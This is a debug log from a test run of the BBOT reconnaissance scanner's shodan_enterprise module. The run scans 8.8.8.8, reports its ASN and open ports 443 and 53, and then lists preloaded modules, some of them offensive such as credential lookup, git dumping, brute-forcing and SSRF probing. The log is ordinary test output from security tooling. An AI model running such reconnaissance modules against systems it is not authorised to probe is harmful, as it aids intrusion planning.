-2026-03-01 16:52:46,696 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 16:52:46,696 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 16:52:46,697 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 16:52:46,698 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 16:52:46,698 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 16:52:46,698 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 16:52:46,699 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 16:52:46,699 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 16:52:46,699 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 16:52:46,699 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 16:52:46,699 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 16:52:46,699 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 16:52:46,700 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 16:52:46,700 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 16:52:46,700 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 16:52:46,700 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 16:52:46,701 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 16:52:46,701 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 16:52:46,701 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 16:52:46,701 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 16:52:46,701 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 16:52:46,702 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 16:52:46,702 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 16:52:46,702 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 16:52:46,702 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 16:52:46,702 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 16:52:46,703 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 16:52:46,703 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 16:52:46,703 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 16:52:46,703 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 16:52:46,703 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 16:52:46,704 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 16:52:46,704 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 16:52:46,704 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 16:52:46,704 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 16:52:46,704 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 16:52:46,705 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 16:52:46,705 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 16:52:46,705 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 16:52:46,705 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 16:52:46,706 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 16:52:46,843 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_ugst9wor5x -2026-03-01 16:52:46,843 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 16:52:46,952 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 16:52:46,953 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 16:52:46,953 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 16:52:46,954 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-03-01 16:52:47,054 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check -2026-03-01 16:52:47,054 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-03-01 16:52:47,055 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target -2026-03-01 16:52:47,056 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:52:47,057 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:52:47,057 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:52:47,058 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-01 16:52:47,058 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:52:47,060 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:52:47,061 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:52:47,062 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:52:47,063 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:52:47,064 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:52:47,065 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:52:47,066 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 16:52:47,069 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:52:47,070 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-01 16:52:47,070 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:52:47,071 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:52:47,071 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-03-01 16:52:47,072 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-03-01 16:52:47,072 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-03-01 16:52:47,073 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-01 16:52:47,073 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:52:47,180 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:52:47,181 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 16:52:47,182 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:af927c33c1f254ff55b57584401f05329a4d50d6', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:52:47,182 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-03-01 16:52:47,183 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-01 16:52:47,184 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:52:47,184 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:52:47,185 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:52:47,185 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:52:47,186 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,186 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:52:47,186 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:52:47,187 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:52:47,187 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:52:47,188 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:52:47,188 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,189 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:52:47,189 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,190 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:52:47,190 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,191 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:52:47,191 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:52:47,192 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 16:52:47,192 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,193 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:52:47,193 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,194 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,194 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:52:47,195 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,195 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:52:47,196 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:52:47,196 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,197 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,197 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,198 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:52:47,198 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,198 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,199 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:52:47,199 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:52:47,200 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,200 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,201 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,201 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:52:47,201 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:52:47,202 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,202 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:52:47,203 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:52:47,285 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 16:52:47,286 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:52:47,287 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:52:47,288 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:52:47,289 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:52:47,289 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:52:47,290 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:52:47,290 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:52:47,291 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 16:52:47,291 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 16:52:47,291 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 16:52:47,292 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 16:52:47,292 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 16:52:47,293 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 16:52:47,293 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 16:52:47,294 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 16:52:47,394 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 16:52:47,395 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 16:52:47,414 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 16:52:47,415 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 16:52:47,415 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 16:52:47,423 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 16:52:47,424 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 16:52:47,425 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 16:52:47,426 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 16:52:47,427 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 16:52:47,427 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 16:52:47,546 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_ugst9wor5x completed in 0 seconds with status FINISHED -2026-03-01 16:52:47,547 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 16:52:47,548 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:52:47,549 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-03-01 16:52:47,550 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-03-01 16:53:22,682 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 16:53:22,691 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 16:53:22,692 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 16:53:22,693 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 16:53:22,694 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 16:53:22,694 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 16:53:22,695 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 16:53:22,696 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 16:53:22,696 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 16:53:22,697 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 16:53:22,697 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 16:53:22,698 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 16:53:22,702 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 16:53:22,703 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 16:53:22,704 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 16:53:22,704 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 16:53:22,706 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 16:53:22,707 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 16:53:22,707 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 16:53:22,708 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 16:53:22,709 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 16:53:22,709 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 16:53:22,710 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 16:53:22,711 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 16:53:22,711 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 16:53:22,712 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 16:53:22,713 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 16:53:22,713 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 16:53:22,714 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 16:53:22,714 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-01 16:53:22,715 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 16:53:22,715 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 16:53:22,716 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 16:53:22,716 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 16:53:22,718 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 16:53:22,718 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 16:53:22,718 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 16:53:22,719 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 16:53:22,725 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 16:53:22,725 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 16:53:22,726 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 16:53:22,727 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 16:53:22,728 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 16:53:22,729 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 16:53:22,730 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 16:53:22,731 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 16:53:22,731 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 16:53:22,732 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 16:53:22,734 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 16:53:22,735 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 16:53:22,735 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 16:53:22,736 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 16:53:22,737 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 16:53:22,737 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 16:53:22,738 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 16:53:22,738 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 16:53:22,739 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 16:53:22,739 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 16:53:22,740 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 16:53:22,740 [DEBUG] bbot.module_loader modules.py:152 Preloading 